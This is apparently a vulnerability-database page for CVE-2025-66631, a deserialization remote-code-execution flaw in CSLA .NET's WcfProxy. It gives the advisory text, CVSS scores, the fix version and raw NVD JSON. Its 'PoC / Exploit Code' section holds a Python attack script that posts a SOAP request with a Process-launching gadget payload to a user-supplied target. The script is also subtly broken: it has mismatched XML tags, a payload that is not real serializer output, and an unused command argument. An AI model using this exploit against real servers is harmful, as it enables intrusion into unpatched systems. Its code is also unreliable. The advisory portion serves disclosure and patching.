Security Vulnerability Report
中文
CVE-2025-66631 CVSS 9.8 CRITICAL

CVE-2025-66631

Published: 2025-12-09 16:18:22
Last Modified: 2026-03-25 19:09:54

Description

CSLA .NET is a framework designed for the development of reusable, object-oriented business layers for applications. Versions 5.5.4 and below allow the use of WcfProxy. WcfProxy uses the now-obsolete NetDataContractSerializer (NDCS) and is vulnerable to remote code execution during deserialization. This vulnerability is fixed in version 6.0.0. To workaround this issue, remove the WcfProxy in data portal configurations.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cslanet:csla_.net:*:*:*:*:*:*:*:* - VULNERABLE
CSLA .NET <= 5.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66631 PoC - CSLA .NET WcfProxy Deserialization RCE # This PoC demonstrates the deserialization vulnerability in CSLA .NET WcfProxy # Using NetDataContractSerializer with gadget chain for RCE import sys import requests import argparse from urllib.parse import urljoin import xml.etree.ElementTree as ET # Gadget chain for deserialization attack # Using well-known .NET deserialization gadgets GADGET_PAYLOAD = ''' <root> <type>System.Windows.Data.ObjectDataProvider</type> <methodName>Start</methodName> <ObjectInstance> <type>System.Diagnostics.Process</type> </ObjectInstance> <MethodParameters> <anyType xsi:type="xsd:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.txt </string> </MethodParameters> </root> ''' def create_malicious_serialized_data(): """Create malicious serialized data for NDCS""" # This would be the actual serialized payload # In real attack, use ysoserial.net or similar tool return GADGET_PAYLOAD def exploit_wcf_proxy(target_url, command): """Exploit the WcfProxy deserialization vulnerability""" # Prepare the malicious payload payload = create_malicious_serialized_data() # WCF SOAP request with malicious serialized data headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '"http://tempuri.org/IDataPortal/Fetch"' } soap_envelope = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <Fetch xmlns="http://tempuri.org/"> <objectType>MaliciousType</objectType> <criteria> <data>{payload}</data> </criteria> </Fetch> </soap:Body> </soap:Envelope>''' try: print(f"[*] Sending exploit payload to {target_url}") response = requests.post(target_url, data=soap_envelope, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully - check for RCE on target") else: print(f"[-] Unexpected response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66631 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-c', '--command', default='whoami', help='Command to execute') args = parser.parse_args() exploit_wcf_proxy(args.target, args.command)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66631", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:22.103", "lastModified": "2026-03-25T19:09:54.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CSLA .NET is a framework designed for the development of reusable, object-oriented business layers for applications. Versions 5.5.4 and below allow the use of WcfProxy. WcfProxy uses the now-obsolete NetDataContractSerializer (NDCS) and is vulnerable to remote code execution during deserialization. This vulnerability is fixed in version 6.0.0. To workaround this issue, remove the WcfProxy in data portal configurations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cslanet:csla_.net:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "9F92263E-13C1-4C77-B0FA-624B9B45A8FF"}]}]}], "references": [{"url": "https://github.com/MarimerLLC/csla/issues/4001", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/MarimerLLC/csla/pull/4018", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/MarimerLLC/csla/security/advisories/GHSA-wq34-7f4g-953v", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}